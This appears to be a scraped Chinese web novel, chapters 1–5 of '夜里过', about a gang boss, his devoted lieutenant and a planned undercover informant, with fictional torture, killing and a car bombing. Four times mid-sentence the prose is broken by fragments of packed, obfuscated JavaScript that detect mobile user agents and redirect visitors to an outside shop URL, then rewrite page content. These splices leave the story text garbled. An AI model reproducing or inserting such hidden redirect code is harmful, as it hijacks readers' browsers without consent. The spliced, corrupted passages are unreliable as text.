《夜里过》 1. 开幕戏 半夜十二点,宋文生一掌拍飞桌上的东西。他面前站着一排身强力健的男人,在他面前纷纷低下头去,坐着抽烟的宋文生成了全场最高的一个。 “一个二十六岁的女人,害死七个兄弟,”他咬着烟,冲面前一排人低吼,“五个钟,一句话也审不出来!” 没有人敢回一声,仿佛一个字就能掉了脑袋。还是站得离宋文生最近的顾朗走过来,替他把桌子扶好,地上的杂物也都捡起来,一边劝他:“不要太生气。你也看过资料,这女人没有结婚,没有亲朋好友,不是那么好对付的。你太为难他们了,还是让我来吧。” “你来?”烟灰缸刚被放回桌子上,又被朝顾朗直扔回去,顾朗没避开,头上一下给磕出血。宋文生见他这幅家犬的做派,肝火烧得更旺:“就你他妈的最心软!不杀这个不杀那个,现在怎样?被宋文林那个王八蛋踩到头上来,谁都以为我们好欺负!一帮废物,都滚出去!” 骂到最后宋文生直接掀了桌子,椅子也给哐当踢倒。顾朗看了宋文生一眼,知道现在是没话可说了,他要是再出声,宋文生接着就要抡椅子砸人,只能让手下人都出去,自己跟在最后,还记得替宋文生关好了门。这下只剩宋文生,没人劝他了,他反而自己深呼吸几下平静了些,朝仓库中间的一把椅子走去。那个二十六岁的女人就被绑在上面。这里的门窗都关得严实,光线昏得很恰当,女人又垂着头,什么也看不分明,血腥味倒是很重。宋文生伸手摸了一把她的发顶,一路能摸到凝固的血块。他使了点力拽起女人的发梢,让她仰头露出了脸。脸上没有好地方,血渍叠血渍,一只眼睛青肿,另一只仍然清醒而愤恨地睁着,像只狮子的眼睛,看起来确实很不好对付。宋文生对这目光视而不见,伸手把烟头按灭在女人肩上,在压抑的痛呼里,他朝女人露齿一笑:“小姐,晚上好啊。” 半个钟后,宋文生从仓库里走出来。顾朗正站在仓库外的码头边上,宋文生踱到他旁边跟他并排吹夜风,其余人依序走进仓库,不一会滚着个油桶出来,直接把油桶滚进了海里,灌了水泥,尸体和证据很快都能沉得不见底。顾朗问他:“问出来了?” “不多,没供出别人,但是把安全屋的位置摸清楚了,你明天派几个人过去。”宋文生从口袋里重新摸了根烟叼住,半天却摸不见打火机,顾朗立刻用自己的替他点着。他吸了一口才正眼打量过来,看见顾朗额头上已经贴了纱布,还渗出点红。 “疼不疼?” 他说完就觉得是废话,破皮见血哪有不疼的时候,但顾朗很给面子地摇了摇头,赞同他说:“最近大家精神不太好,是该立下威风。” 一听这话宋文生就烦得咂舌:“啧,现在知道了,要不是你一天到晚劝我少动武会变成这样?” “少杀点人,少招人恨,给自己积点德不好吗。” 宋文生被他逗笑了:“那拜托你去吃斋念佛啊,我们是混□□,不是开善堂,积德有什么用,送你下辈子去投个好胎啊?” 他笑完自己停了会,压低了声音,又说:“这条路你只踏一只脚进来,没那么好走的。既不好走出去,也不好走进来。” 顾朗察觉了他的低落,不禁盯着他看,宋文生掸了掸烟灰,继续说:“还是刚才那个女人。她地位不算高,却已经知晓许多情报……得想个办法。” 顾朗听懂了:“你也想派卧底?” “是想,一直找不到人。要不是你跟我这么多年太出名,我就应该让你去。” “我跟在你身边也能有别的用处,卧底也能有别的人选。”顾朗从外套口袋里掏出一张相片递来,宋文生接过一看,挑了挑眉。 “女人?宋文林可不喜欢女人。” “叫柳胭,头脑和身手都不错。就是知道宋文林不喜欢女人才同意。她女朋友叫秦栀,在我们的夜总会里驻唱,最近好像被人盯上了,她要求我们保护好秦栀,这也很方便我们控制。知道她们俩关系的人不多,我修饰一下,宋文林那边查不出来。” 宋文生哼了一声:“有个女朋友就可靠?又不是给狗栓链子。” “她们俩在一起六年。她是为了人,别人为了钱,信她总比信钱好。” “看不出来你还是个纯情派。行吧,让她明天来见我。”宋文生把照片递回去,抽剩的烟头给扔到脚下踩灭。烟抽完了,开口时就显得不耐烦:“一天天破事这么多,最近尤其不太平。看样子宋文林那个鳖孙快忍不住了。” 宋文林是他哥,他一句话把自己也给骂进去。顾朗知道他动了真脾气,有些担心:“你要是觉得最近太累了,不如放松一下,组里的事情都有我担着。” 他本来是好意,宋文生听了之后却没回答,只是抬头看他。这个杀人的晚上月黑风高,一辆车亮着灯停在他们身后,车灯白惨惨一片,什么也照不清楚。宋文生看了一会,确信顾朗眉眼平和,没有什么可以让自己忌讳的,还是缓慢地警告他:“这种话不要多说,不要让我起疑。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344671|152642||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 顾朗噤了声,宋文生反而笑了,上去揽住他肩膀往车走,又跟他开起玩笑:“真要说也等我成了家,到时候我跑起路来,你找我都找不到。” 他总有本事把玩笑说得比正经话更伤人,顾朗听得多了,没什么表态。走到车跟前时宋文生突然问:“你带家门钥匙没有?” 顾朗一听,有种不好的预感:“怎么?” “今晚我去找阿千啊,前阵子遇见的那个,”宋文生冲顾朗眨了眨眼,几句话间心情就明朗起来,“她按摩特别好,话也不多,可以过一阵子。” 顾朗张了张嘴,没能想出反对的理由,站了几秒,照旧坐进了驾驶座。等宋文生系安全带时,他还是挣扎一下,低声建议:“跟同一个人待得太久,容是容易出岔子的。” “放心,我心里有谱。”宋文生陷进真皮座椅里。顾朗一向在情事、趣事、开心事上给他泼冷水,他很有点烦,后悔自己多了一句嘴,跟谁不好,非要跟顾朗分享自己的新情人。就算他一个字不说只让顾朗自己回家,顾朗又能拿他怎么办? 他不说话,顾朗就没办法继续跟他聊下去。顾朗一边打着方向盘倒转车身,一边想,宋文生心里有谱吗?他身边这个姓宋的年轻人毫无疑问是宋家的好儿子,狠得够劲,就算有人要提刀砍他的头,他也非得梗着脖子给刀上磕出个豁口,对现在的一整条道来说都是非常可畏的后生。可是对顾朗来说,他太勇猛,也太不惜命了,不惜别人的,更不惜自己的,有时他大清早没在家里见着宋文生,都怕有人告诉他宋文生去跟别人拼得同归于尽了。 不要命的容易成事,也容易阴沟里翻船。 忽然宋文生动作停住,听了一会,他皱眉问顾朗:“这车上什么声音?” 顾朗也顿住,刚才他心烦意乱没注意,现在侧耳去听,确实听到哒哒的响,很轻微,很怪异,他也很熟悉—— “下车!”顾朗冲宋文生大吼,宋文生立刻醒悟,飞快地解开安全带,顾朗一把推开车门拽着他的衣领翻下去,刚刚掉出车门,他就听见身后一阵爆炸的巨响,他俩被气浪裹挟着翻滚,顾朗把宋文生护在身下,宋文生拼命挣扎,但被顾朗死死压住。 他自己不求安稳,那总得有人替他求。 他们身后火光通天,车顶盖被掀飞到半空,车体碎片纷纷扎在他们身边,顾朗头痛得要命,感觉自己已经被炸坏了脑袋,在这个要命的关头,他心里想的却是没办法,宋文生今晚没办法去见他的阿千了。 2. 年轻的人过去的事 他被太阳晒醒。顾朗睁开眼时日头已经升得很高,床对面挂着钟,十二点半了,但是没人来喊他吃午饭。没有人也没有声音,只有房间、阳光、他自己。 有人扔石头敲响他的窗户。两声一停,响了三次。理所当然地知道来者是谁,他怀抱一种喜悦而期待的隐秘之情打开窗户,翻出了这栋一层高的平房。他最近总帮宋文生打架,状告传到他爹耳边,这两天都得闭门思过。他已经十八岁,要上高三,不管谋一份怎样的出路,他爹都希望他周末安分地待在家里,而不是上街扮演街霸。 可顾朗的聪明并不用在自己身上。他早和宋文生约好,如果自己哪天没来找他,他就来这儿敲窗户,不管什么时候,只要他敲了,自己就会…… 顾朗那时候想了一会,赴约,最后想到这个词,带着一种成人间庄重的语感。 这个约定总是有效,即使今天谁都不在,他还是听见了宋文生的声音。等他悄声落在地上时,宋文生正站在屋外面的杨树下等他。宋文生有时会带点东西过来,一本书、一个篮球、一条他妈的裙子(等顾朗真的换给他看之后他笑得从椅子上掉下去),上次半路捡来一只流浪猫。宋文生今年初中毕业,最有闲有精力,最无从发泄。不过这次他两手空空,只带了自己一个人,从半明半暗的树荫下直望过来。 顾朗也看着宋文生。他下意识觉得有些奇怪,宋文生应该已经不是这副模样了,他应该已经长成一个二十出头的年轻人,意气风发,一呼百应,小弟和情人各排了一条长龙,应该已经不会再孤零零一个人来找自己。 不过他很快释然,不管是怎样的宋文生,十六岁、二十岁、八十八岁,他只要提出要求,自己都会欣然而往。不如说这时的宋文生让人安心又怀念,十六岁时他还稳稳当当地站在自己触手可及的地方,自己轻轻一拽就能将他从阴影里拉到阳光底下。 他问宋文生:“你又惹到谁了?” 宋文生是惹事的天才,放长假时尤其要命。顾朗每天放学第一件事不是温书做作业,而是去给宋文生镇场子。但这次宋文生摇了摇头,从上衣口袋里摸出一笺折叠的信纸递过来。那封信被岁月和手指蹂躏过,已经泛黄而薄脆,可宋文生毫不顾忌,动作粗暴,仿佛纸上满是不堪的荒唐话,最好能被撕碎,他眼不见为净。 顾朗接过来,一抖擞展开了这封信。字不是宋文生的字,他替宋文生抄了很多年作业,字迹的差别一眼就能看出。信上的字张扬遒劲,不像宋文生的狗爬。他从头到尾看了一遍,开头是“亲爱的甄如”,结尾是“七夕快乐,你的宋至诚”,落款在二十年前。 顾朗认识甄如,整个镇子都认识甄如,宋文生这个顽劣小子的娴雅母亲。二十年前的七夕节甄如收到这纸情话,十年前的八月份她带着儿子孤身到此,两个月前她车祸去世。 在宋文生跟着他妈走进这个小镇那年,顾朗八岁,大约是小孩最爱玩的阶段,可是没人跟他玩。他爹从前在道上混,赫然已混成了一个有名有姓的人物,眼看就要一条路走到黑,半路却死了老婆。这场死亡打醒了他这个活人,此后金盆洗手、退隐乡居,表面功夫做得足,到底还是时不时受到骨子里本性的撺掇。他每沾一点酒就一定要教顾朗打拳,不打就挨打;清醒后又勒令顾朗不许打架,打了还是挨打。在这种反复的拉扯里,顾朗不自觉地长成了方圆一片打架最厉害的小孩。小孩子们都挑剔得要命,太弱的不喜欢,太强的也不喜欢,不过弱的可以动手欺负,强的只能冷处理。等顾朗反应过来,别说一起玩,甚至没人跟他讲话,隔壁的李二比他稍高一点,仍然三米外看见他就跑。 那时流行王道少年漫,每个孤独的主角都得遇见自己的挚友或者宿敌。孤独的顾朗在小书店里一边蹭空调翻漫画,一边想他的挚友在哪儿,命运的相遇又在哪儿呢。 然后宋文生就来了。他由一位美貌、未婚先育的单身女人牵着手走进来,这对不合规范的母子立刻成为这座恪守规范的小镇的名人,为这娱乐的贫瘠地带贡献了多月的饭后谈资。顾朗有时也会听见邻里议论他和他的父亲,谈一点他们俩不光彩的过去,不过他爹是个五大三粗的猛汉,从他身上也可以看出不好惹的前兆,见到他们别人都会知趣地收声。但是城里来的女人是没办法的,顾朗想,最好那个叫宋文生的六岁小弟弟也很会打架。 可六岁的宋文生只有他的母亲,而甄如显然不会教他拳击。他不仅打不动别人,还得被别人按在地上打,好在他足够敏捷,富有一种野生的智慧,每次都能找到最佳的逃跑路线,最后一次被打时,他跑到了顾朗家门口。 顾朗家门前栽了两株桃树,病歪歪地乱长,每年也结不出几个桃子。这两株小树被当成一条警戒线,有一种以讹传讹的不成文的规定,说随便跨越此地的小孩都会被顾朗一拳撂翻。 宋文生那时已经跑不动了,瘫在地上遮着眼睛护着头,却半天没等到别的动静。他再睁开眼时,只有顾朗站在他边上,其余人早跑得没影。 顾朗问宋文生:“那些人为什么追你?” 宋文生把手放下来,放松地躺成了一个大字状:“我把李二的作业扔到河里去了,他找不到作业,被罚站了两节课。” “那为什么他们从来不带你玩?” “他们嫉妒我,”宋文生翻了个白眼,“我妈比这些人都好,总有一天我也会比他们都厉害。” 顾朗眨了眨眼,把宋文生拉起来了。宋文生拍灰时听见顾朗说:“我没有妈,但我也觉得你妈最好,”他伸手帮着宋文生拍灰,“你也肯定会比他们都厉害的。” 阳光下灰尘翻飞,折射出一片簌簌的光点。只有那时候的阳光和尘埃知道,就在这里、这个时刻,顾朗心里发生了一场孤独、安静、命运的相遇。 那之后的第一天、第二天、第十年,顾朗都经常陪宋文生来回学校。同龄人不敢有微词,特别不满的却是顾朗的爹。这个男人虽然已退场了,知道的内情仍然多一些。他曾经认识一位姓宋的□□龙头,也认识龙头膝下叫作宋文林的独子。不管宋文生这名字是不是甄如的一厢情愿,这都是一个很危险的信号。他要的是一刀两断, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344672|152642||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而不是自己退出来,儿子又搅进去。可惜他越来越老,顾朗却越长越大,他锁门顾朗就跳窗,他动手顾朗也打还,他的教育没能在顾朗心里建立一种父辈的权威,却使顾朗对别人缺乏信任,极度疏离。很多时候他这个做父亲的也很愤恨,他儿子神佛不忌,却偏偏相信那个同病相怜的宋家小子。 在顾朗的陪伴下,没人再找宋文生的麻烦,宋文生也变得很像另一个,或者说唯一一个霸王,因为顾朗总听宋文生的。很多话甚至不需要宋文生一字一句地说明白,顾朗就自己揣摩透彻,帮他提前摆平。就像现在,宋文生递给顾朗的只是一封二十年前的旧情书,由一个年轻不懂事的男人写给一个年轻不懂事的女人,他却警觉地从柔软的词句和信纸的褶皱中读出危机。 他确信自己每个字都读过两遍,才抬起头问宋文生:“怎么了?” 宋文生伸手指向跟在“亲爱的”后面的“甄如”,说:“这是我妈,”又指向紧挨“爱你”的“宋至诚”,“这是我爹。” 他最后指向整封信里的第三个名字,那是一个叫做李言花的女人,她出现在这样一句话里:“前几天我父亲介绍我认识了李家的女儿言花,大概想撮合我俩,但我对她毫无兴趣,我的心早已由你收起,你是我的命运之主……”。 宋文生说:“这是宋至诚最后的老婆。” 他从顾朗手中抽出这张信纸,两三下把它撕成了一堆纸片,纸片又变成土色的细沫,从他指缝里纷纷落下。他没有再管这堆废纸,而是平静地对顾朗宣布:“我要走了。” “走了?”顾朗茫然地看着宋文生,“去哪里?去多久?还回来吗?” “不回来了,”宋文生转了半个身,直勾勾地望着出镇的方向和路尽头那轮高挂的太阳,“我听说宋至诚还有个儿子。在这一家三口入土之前,我都不回来了。” “那我呢?”顾朗伸手拽住宋文生的袖子,“不带我吗?” “你要来吗?”宋文生皱了皱眉头,“你爹不是管得很严?” “没关系,他现在也打不过我了。你等我一下,我现在就回去收拾。你能明天再走吗?或者晚半天?晚一个小时?半个小时行不行?” 宋文生没说话,仍然看着那条通向镇口的长路。顾朗怕他抬脚就走,立刻转身向家里飞奔回去。在奔跑的过程中一切景物都急速地退去,之前之后该发生和已发生的故事全都在他脑海里鲜活起来:他退隐江湖的爹差点打断他的腿;他带着伤喘着气跑到车站时宋文生刚要离开;市镇大巴上宋文生靠着他的肩膀睡觉;他们俩的全部家当都带在身边……他什么都已经抛下,只剩下宋文生。 顾朗从梦中惊醒。他猛地坐直身子四处环望,发现自己是在医院。头虽然还晕,但已经缠好了纱布。天色是黑的,窗帘没拉,月光照着他旁边那床,二十三岁、功成名就的宋文生躺在上面,睡相极差,却睡得正熟。他愣了一会,觉得自己好像梦见了某些很久不曾回顾的人事,但现在一想,脑袋里又空空如也。最后他放弃思考,下床去给宋文生重新盖好了被子。 3. Beautiful Crime 宋文生在病房里接待了柳胭。见到人前他先听见高跟鞋踩在医院瓷砖地上的顿挫声,每一步间间隔得短,很容易想见来人雷厉风行的步态。这一阵动静响到房门口,停了一下,外面的人想起来先敲了门。 宋文生见过的那张照片是在酒吧夜场里拍的,柳胭坐在吧台前的高脚圆凳上,整个人被彩光照得红红绿绿。这时来到的真人穿一条竖纹长裙,高跟也是纯色,比照片少了几分颜色,但仍然不失一种明艳的光彩。比起和宋文生,柳胭和顾朗更相熟些,进来后见到顾朗缠着绷带的衰样,没忍住向他嘲笑地弯了弯唇角。一笑过后她又很快地进入角色,站在宋文生病床边上,弯腰跟他握了握手。 这几秒中宋文生把她整个人看得仔细。她的眉眼精修过,但是她的手——手指长却有茧,指甲短而圆润,不是一双娇养的手。 他俩来往几句客套话后,柳胭拉过陪床的高凳坐下。宋文生病床床头堆满花束果篮,她很不认生地从中挑出个最圆润的苹果,打开折叠刀削起皮,仿佛她今天只是来探病的。宋文生问她:“你现在很闲吗?” “还好,”柳胭看着苹果没看他,“我现在做情报生意,生意还算大……你放心,知道我真名的不多,能把真名和脸对上的更少。” “你有自己的手段和营生,”宋文生直奔主题,“为什么现在想来做个副业?” 柳胭稍感惊讶,终于抬眼看向宋文生,也顺便瞟了眼后面站成背景的顾朗:“他没告诉你?我女朋友最近被人盯上……” “什么人?”宋文生打断她。 柳胭皱了皱眉,似乎觉得宋文生唐突,但还是识时务地说下去:“我女友姓秦,是秦家逃家出来的女儿。秦家正宗人丁少,只有这一个女儿,一直在找她回去嫁人。不过秦家离这远,我也不用你们替我强出头,只要再把她藏好点就够了。” 宋文生笑了:“既然不想被找到,那就不要在夜店唱歌出风头啊。” 柳胭一愣,也跟他笑起来:“你知道得倒是多。你们那家夜店有我熟人,一直把她照顾得很好。最重要的是,秦栀喜欢唱歌。” 她把苹果放下了,问宋文生:“我们能合作愉快吗?” “现在还不知道,明天通知你。”公事公办的话被宋文生脸上的笑意也带得俏皮,但仍然是个谈话结束的信号。柳胭听见,识相地站起身。她并不急这一时,做情报生意时她听过宋文生的名号,有名的言出必行。又握一次手后,她同来时那样一步一响地离开了,外面的人重新把房门关严实。顾朗的视线落在了柳胭留下的苹果上,果皮盘在一边,被削成完整均匀的三厘米宽长条,没有一刀缺断。 这时顾朗好像才重新找回声音,问道:“还满意吗?” “很好,”宋文生躺回床上,闭上了眼,“不过现在不能把判断做绝。秦家的女儿……她在哪儿驻唱来着?今天晚上过去,我们把主人公见见全。” 顾朗答应了,宋文生已经又开始睡觉,没有别的吩咐。他还是等了一会才推门出去安排。晚上宋文生出院时车、路、人都已经准备妥当,意外过后更加谨慎,一路开得都很平稳。最后车停在酒吧侧门,虽然是侧门,也有一块霓虹灯尽职地闪烁。这里虽然是自己的生意,宋文生却不常来,名字都没记住,下车时特意多看了一眼霓虹招牌:夜林。 名字倒还好。宋文生带着种微妙的自夸踏进店里,刚进去他就认出来这里是柳胭那张照片的实拍地。不过他没见着柳胭,八成这个聪明人已经开始保持距离了。 现在时间还早,店里都是散客,他打扮低调,只带了顾朗一个人,酒保也把他当作普通客人接待。宋文生并不计较,不如说这样更好,他同顾朗一人点一杯马丁尼,正要借酒同酒保闲聊几句套话,前面舞台处突然传来声响,一下子让酒吧里的躁动都消散了。他转头一看,发现台上许多人已经准备妥当,要替夜场正式揭幕,整支乐队已做好姿态,却不是主角,反而纷纷藏在追光灯后面。 同其他人一起置身台上又脱颖而出的真正主角是个年轻女孩,穿黑色,一双戴软绸手套的手握住麦克风支架。蓝绿灯光交错照着她,替她染色上妆,全场只有这一排打光,仿佛整座酒吧只剩她一人还在呼吸生长。这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344673|152642||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年轻的美人长发盘起露出一截天鹅的脖颈,手腕腰身都是细细,好像撑起她全身的不是骨架而是一株挺秀的珊瑚。她带妆登台,但宋文生仍然觉得她是个女孩,不仅因为她身骨纤细,还因为她脸上笑得温温柔柔,似乎是要在教堂唱诗,跟牧师一起低颂哈利路亚。她站在这儿,却没有领会过这里切实所有的一点绝望与愤恨,连最近的酒桌都距她如此遥远。 察觉到宋文生看得有点发愣,顾朗凑到他耳边为他解说:“她就是秦栀,这里镇场的歌手,不过柳胭拜托过熟人,她只唱前半场。” 宋文生回过神,掩饰似的喝了半杯。他自然不用追问为什么只唱前半场,他手底下管着不少酒吧,只在不深的夜里才含蓄地恪守礼仪。 他们交谈的空当里前奏已经响起,顾朗话音刚落,秦栀的歌声就接上来。她垂下头去作哀婉的演唱,一首慢歌,很适合替前半夜伪装一点正经。她把嗓音压低,几乎不像一个少女。她唱: "Each step I left behind Each road you know is mine ……" 宋文生向后倒去一些,对顾朗说:“能看见她很让人高兴。” 顾朗又问他:“还满意吗?” “很好,”宋文生重复了下午的回答,又点了点头,“柳胭、秦栀,都很好。是我要找的人。” 他正需要这样的人,这样的一对,既有好的身手,又有明示、可掌控的软肋。不过现在把算计摊开来讲太煞风景了,至少可以等过这支歌。他把剩下半杯也饮尽,注意力转回舞台。顾朗如今已经很难得和宋文生单独出门,在这里却得一次短暂的独处。他坐在宋文生背后,一样看向舞台,却又像看着宋文生背影发呆。台上那个女孩,秦家的笼中公主,她高站在酒吧中央、聚光灯中央,一个不属于她,她却拼命逃来的地方,继续唱下去: "…… I gave you everything And it''s a beautiful crime." 4. Winter Sound 宋文生派的车又停在柳胭家楼下,这次顾朗亲自当司机。柳胭已经发达,住处却在一栋老旧民居里,还是上世纪的建筑,连个电梯都没。宋文生和她约在六半,顾朗提前半个小时来候着,柳胭纵然守时,这个点也还不着急,仍在家里打扮。她们家住的低,不过三楼,窗户向外敞着。秦栀极富才艺,顾朗刚摇下车窗透气就听见钢琴响,能上会堂开独奏的水准,听了半个钟头也没有邻里抗议。这会儿换了个曲调,节奏快而有力,很容易想到弹琴的一双手该有多好看,不过柳胭才得这个眼福,其他人只能干听。这首歌大概特别衬景,特别得秦栀喜欢,一遍完后又弹一遍,顾朗第二遍听到一半,翻出手机想识曲,可惜这一条小巷充盈着生活的杂响,将近年关,路边还有小孩追赶着扔炮仗。这首歌他自己听得清楚,音乐APP转了半天却一点头绪也没有。他皱了下眉,刚要按灭手机,就有人敲响他的车窗,他转头一看,柳胭已经盛装打扮,亭亭站在车边。 他开了车门让柳胭坐进副驾驶,柳胭系安全带时低头看见顾朗的手机屏幕,上面还显示着“无法识别歌曲”。她笑出声,把被扔下的可怜手机捡起来,退回到搜索界面,一边问顾朗:“不知道可以问我啊,问一句会死吗?” 说话间她已经打好歌名,顾朗扫了一眼,Winter Sound。他没有接话,踩一脚油门专心地看路开车。柳胭对他的爱答不理已经习惯,自顾自地点了播放。他们刚听过的音调再度倾泻而出,快而有力。第一句歌词出来时柳胭看着车窗外掠过的高楼和楼上苍青的阴云,呼了口气:“又到冬天了。” 她跟着轻声地哼唱起来,刚刚那句话却让顾朗心间轻微地触动。他想起七年前的冬天,自己和宋文生刚来到这城市的那个冬天。 七年前他们追着夏天的尾迹来到这里,刚出车站就遇见了宋至诚派来的人。来人带来一句话和一张卡,话是这样说:如果宋文生能在两年间有所成就,他就能被迎回宋家。卡里当然是钱,不说两年,二十年都够他们衣食无忧。可宋文生当着来人的面撅折了银行卡,他一边用力,一边咬牙切齿地恨着:“老鬼一直知道我,却从来没去看过我妈的墓。” 顾朗一边为宋文生难过,一边看着那张弯成两半的银行卡,心想他们现在该怎么办呢。似乎察觉了顾朗的想法,宋文生冷哼一声,又说:“我要么功成名就要么饿死街头,无论怎么样,不会跟这个男人有关系。 顾朗站了一会,最后从宋文生手里扯出那张报废的磁卡,替他扔进了垃圾桶。他拍了拍宋文生的头,对他说:“饿不死的。” 如果没记错,那是顾朗最后一次摸宋文生的头。这种安抚、亲密、越界的举动,那就是最后一次。 从夏末到深冬,七年前的他们单单为了饿不死而挣扎。好在顾朗确实很会打架,本来就厉害,学得还快,做事靠谱而凶狠,是容易得人青眼的新人。而宋文生呢,顾朗说他将来要做大事,不管是继承宋家的二少爷,还是推翻宋家的不孝子,最好都别沦落到自己赤膊上阵的地步。因为没有钱,他们俩在城郊租一间单间,顾朗睡了几天沙发,某天被人砍伤了背,还是和宋文生躺到了一张床上。那间房他们住满了两年,虽然是八月末搬进去,顾朗对新家的记忆却自十月中旬天气转冷时开始。夏天不是情人的季节,它叫人大汗涔涔,反感接触。冬天就不一样了,顾朗记得那个冬天,他们用第一笔钱重金添置了电视和音响,都是好货色,每天顾朗回来做晚饭时他们都记得打开电台。工作缘故,他们通常开饭很晚,新闻已经播过,剩下收尾的点歌环节,两个感情欠缺的男人就在饭桌上窃听不同的男女们在选曲中流露的情意。有人失恋、有人失业、有人失恋又失业,而他们还好好地坐在开好空调的房间里,挨着坐在同一张桌边。顾朗在外面出生入死,回家来最烦心的是劝宋文生多吃青菜。饭后该他洗碗,宋文生就躺在沙发上把节目听完。顾朗问过宋文生:“干嘛一定要听歌吃饭?” 宋文生垂着眉毛说太安静了,没意思。 后来顾朗才听懂他的言外之意。这种安静没意思的家居生活对顾朗来说就是他俩不存在的关系中一段毋庸置疑的蜜月,但对宋文生来说,这是一种卧薪尝胆的屈辱,他的野心、抱负、最不可放弃的恨意,正遭受着一场缓慢、温柔、慢性的谋杀,只有颠簸、血腥、亲身上阵的斗兽场,才适合做他这头凶兽成长的温床。 在那时顾朗可能已从宋文生的苦闷中察觉不妙,但他懂装不懂,依然每天同宋文生听歌吃饭。如果能遇见一个合适的节点,他很想对宋文生说,就这样算了,一辈子也很好。 这句话如果说出来,可能指向两个后果。他怕宋文生为难,更怕宋文生不为难,前者意味着他伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344674|152642||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了宋文生的决心,后者意味着宋文生毫不费力地抛下了他。 所以他始终没说出口。后来他考虑这个问题时,自己都会替宋文生选择抛下自己离开的选项,他知道宋文生有这个本事,有这种天性。 不过十八岁的他还没有那么多顾虑,十六岁的宋文生也没有那么直白的躁郁,等顾朗收拾完厨房,电台主持人也说完再见之后,他俩还会蜷在沙发上看一会电影,楼下影碟铺子三元一张恐怖片和cult片,猛鬼街、心慌方、处刑人。什么电影宋文生都能看睡着,太沉了不好搬,后来顾朗就换了张宽沙发,很方便他们被子一卷原地睡觉,第二天再被太阳晒醒。 这个冬天,隐藏在家族、仇恨、报复之后的这个贫穷而快活的冬天,冬天的家、冬天的歌、那时一文不名的他们,他记得清楚,他怀念非常。 可惜七年前那套音响在屡次搬家中不知所踪,七年后这首歌也快放完。柳胭在旁边跟着哼了最后一句,歌词滚到尽头,歌里歌外的两个女人一齐唱:“You and I will not be shaken by the winter sound, but my voice is suffocating in the winter sound……” 曲单里没有别的歌,这之后又开始循环播放。这次柳胭安静下来,快到目的地时抬手摸了摸顾朗额头上留的新鲜疤痕,问他:“现在经常挨打?” 顾朗干脆地把柳胭的手拍掉,仍然直视着前面的路:“还好。你想可怜我的话,多此一举了。” 他们这时已经看见目的地,在高楼群中也脱颖而出的中餐厅。柳胭收回手看了看,顾朗下手不分轻重,被打到的手背上一片微红。她弯了弯嘴角,从包里摸出化妆镜最后检视自己,把话说得很刻薄:“是你想多了,你哪够让人可怜?简直是身在福中,如果有别人喜欢宋文生,大概要羡慕死你。” 顾朗把车停在门口,对这话不置可否。他和柳胭分两边下车,把钥匙递给了侍应生,自己则伸手请柳胭进去。他现在不谈私事,也不再是柳胭的朋友,他是宋文生的手下,柳胭将成为宋文生的线人,这才是此时此地的正当关系。他推开包房门时,宋文生已经端坐上位,顾朗得到他一个赞许的眼神。公私分明、做事得力,宋文生需要这样的他,只是这样的他。 5. 晚七点的临泊港 “在宋文林的地盘上,有三件事将要发生;第一,有一位酒吧老板欠下了巨额赌债,将被赶出这城市;第二,有一个新的买家将接手这座酒吧;最后,这座酒吧将被经营成最热门的去处。这就是你的工作,至于家族事宜,不用你出手。” “我只有一个条件。那座酒吧?” “事成之后它就是你的了。我会吩咐好,绝对自由,无人干涉。” “听着不错,你确实知道我想要什么。” “默契是件好事。再来一杯?” “不,”柳胭推开酒杯站了起来,“生意归生意。你我都不是拘礼的人,既然谈妥了,如果没有别的正经事,我现在就走了。” “这么快?”宋文生看了看表,“你来还不到半个小时。” “这说明我办事高效,”柳胭冲他歉然一笑,“而且秦栀……你知道,不太会照顾自己。” “好吧,”宋文生还是举起酒杯,朝柳胭虚敬了一杯,“爱情万岁。” 为了这半小时的谈判,餐厅整个晚上都被包圆。包厢外面自然有侍者送柳胭出去,她不拘礼,宋文生也懒得跟她客套。令他稍感惊讶的是顾朗也一动不动,不禁问了一声:“不送一送你的朋友?接下来你可能整年都难得见到她。” 顾朗平静地否认:“她不算我的朋友。熟人而已。” “熟人?不是吧,这种程度你就能推荐给我去宋文林的地盘当线人?” 